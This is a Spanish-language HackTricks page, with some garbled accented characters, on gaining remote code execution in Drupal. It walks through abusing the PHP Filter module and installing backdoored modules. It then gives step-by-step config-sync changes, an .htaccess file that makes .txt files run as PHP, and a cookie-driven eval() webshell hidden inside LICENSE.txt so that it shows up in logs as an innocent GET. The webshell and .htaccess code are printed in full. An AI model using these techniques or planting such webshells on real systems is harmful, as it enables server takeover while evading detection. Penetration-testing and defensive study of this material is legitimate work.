Drupal RCE
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Con el m贸dulo PHP Filter
warning
En versiones anteriores de Drupal (antes de la versi贸n 8), era posible iniciar sesi贸n como administrador y habilitar el m贸dulo PHP filter
, que "Permite que se eval煤e el c贸digo/snippets PHP incrustados." Pero a partir de la versi贸n 8, este m贸dulo no se instala por defecto.
- Ve a /modules/php y si se devuelve un error 403, entonces el plugin PHP filter est谩 instalado y puedes continuar
- Si no, ve a
Modules
y marca la casilla dePHP Filter
y luego enSave configuration
- Luego, para explotarlo, haz clic en
Add content
, seleccionaBasic Page
oArticle
y escribe la puerta trasera PHP, luego seleccionaPHP
como formato de texto y finalmente seleccionaPreview
- Para activarlo, simplemente accede al nodo reci茅n creado:
curl http://drupal.local/node/3
Instalar el M贸dulo PHP Filter
warning
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web despu茅s de la instalaci贸n predeterminada.
A partir de la versi贸n 8, el m贸dulo PHP Filter no est谩 instalado por defecto. Para aprovechar esta funcionalidad, tendr铆amos que instalar el m贸dulo nosotros mismos.
- Descargue la versi贸n m谩s reciente del m贸dulo desde el sitio web de Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Una vez descargado, vaya a
Administraci贸n
>Informes
>Actualizaciones disponibles
. - Haga clic en
Examinar
, seleccione el archivo del directorio al que lo descarg贸 y luego haga clic enInstalar
. - Una vez que el m贸dulo est茅 instalado, podemos hacer clic en
Contenido
y crear una nueva p谩gina b谩sica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, aseg煤rese de seleccionarC贸digo PHP
del men煤 desplegableFormato de texto
.
M贸dulo con Puerta Trasera
warning
En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web despu茅s de la instalaci贸n predeterminada.
Era posible descargar un m贸dulo, agregarle una puerta trasera y instalarlo. Por ejemplo, descargando el m贸dulo Trurnstile en formato comprimido, creando un nuevo archivo de puerta trasera PHP dentro de 茅l, permitiendo el acceso al archivo PHP con un archivo .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Y luego ir a http://drupal.local/admin/modules/install
para instalar el m贸dulo con puerta trasera y acceder a /modules/turnstile/back.php
para ejecutarlo.
Puerta trasera en Drupal con sincronizaci贸n de configuraci贸n
Publicaci贸n compartida por Coiffeur0x90
Parte 1 (activaci贸n de Media y Media Library)
En el men煤 Extend (/admin/modules), puedes activar lo que parecen ser plugins ya instalados. Por defecto, los plugins Media y Media Library no parecen estar activados, as铆 que activ茅moslos.
Antes de la activaci贸n:
Despu茅s de la activaci贸n:
Parte 2 (aprovechando la funci贸n Configuration synchronization)
Aprovecharemos la funci贸n Configuration synchronization para volcar (exportar) y subir (importar) entradas de configuraci贸n de Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Parchear system.file.yml
Comencemos parcheando la primera entrada allow_insecure_uploads
de:
Archivo: system.file.yml
...
allow_insecure_uploads: false
...
A:
Archivo: system.file.yml
...
allow_insecure_uploads: true
...
Parchear field.field.media.document.field_media_document.yml
Luego, parchea la segunda entrada file_extensions
de:
Archivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
A:
Archivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
No lo uso en esta publicaci贸n del blog, pero se se帽ala que es posible definir la entrada
file_directory
de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (por lo que podemos retroceder dentro del 谩rbol del sistema de archivos de Drupal).
Parte 3 (aprovechando la funci贸n Agregar Documento)
El 煤ltimo paso es el m谩s simple y se descompone en dos sub-pasos. El primero es subir un archivo en formato .htaccess para aprovechar las directivas de Apache y permitir que los archivos .txt sean interpretados por el motor PHP. El segundo es subir un archivo .txt que contenga nuestra carga 煤til.
Archivo: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
驴Por qu茅 es genial este truco?
Porque una vez que el Webshell (que llamaremos LICENSE.txt) se coloca en el servidor web, podemos transmitir nuestros comandos a trav茅s de $_COOKIE
y en los registros del servidor web, esto aparecer谩 como una solicitud GET leg铆tima a un archivo de texto.
驴Por qu茅 nombrar nuestro Webshell LICENSE.txt?
Simplemente porque si tomamos el siguiente archivo, por ejemplo core/LICENSE.txt (que ya est谩 presente en el n煤cleo de Drupal), tenemos un archivo de 339 l铆neas y 17.6 KB de tama帽o, que es perfecto para agregar un peque帽o fragmento de c贸digo PHP en el medio (ya que el archivo es lo suficientemente grande).
Archivo: LICENSE.txt parcheado
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Parte 3.1 (subir archivo .htaccess)
Primero, aprovechamos la funci贸n Add Document (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).
Parte 3.2 (subir archivo LICENSE.txt)
Luego, aprovechamos nuevamente la funci贸n Add Document (/media/add/document) para subir un Webshell oculto dentro de un archivo de licencia.
Parte 4 (interacci贸n con el Webshell)
La 煤ltima parte consiste en interactuar con el Webshell.
Como se muestra en la siguiente captura de pantalla, si la cookie esperada por nuestro Webshell no est谩 definida, obtenemos el resultado subsiguiente al consultar el archivo a trav茅s de un navegador web.
Cuando el atacante establece la cookie, puede interactuar con el Webshell y ejecutar cualquier comando que desee.
Y como puedes ver en los registros, parece que solo se ha solicitado un archivo txt.
Gracias por tomarte el tiempo de leer este art铆culo, espero que te ayude a obtener algunas shells.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.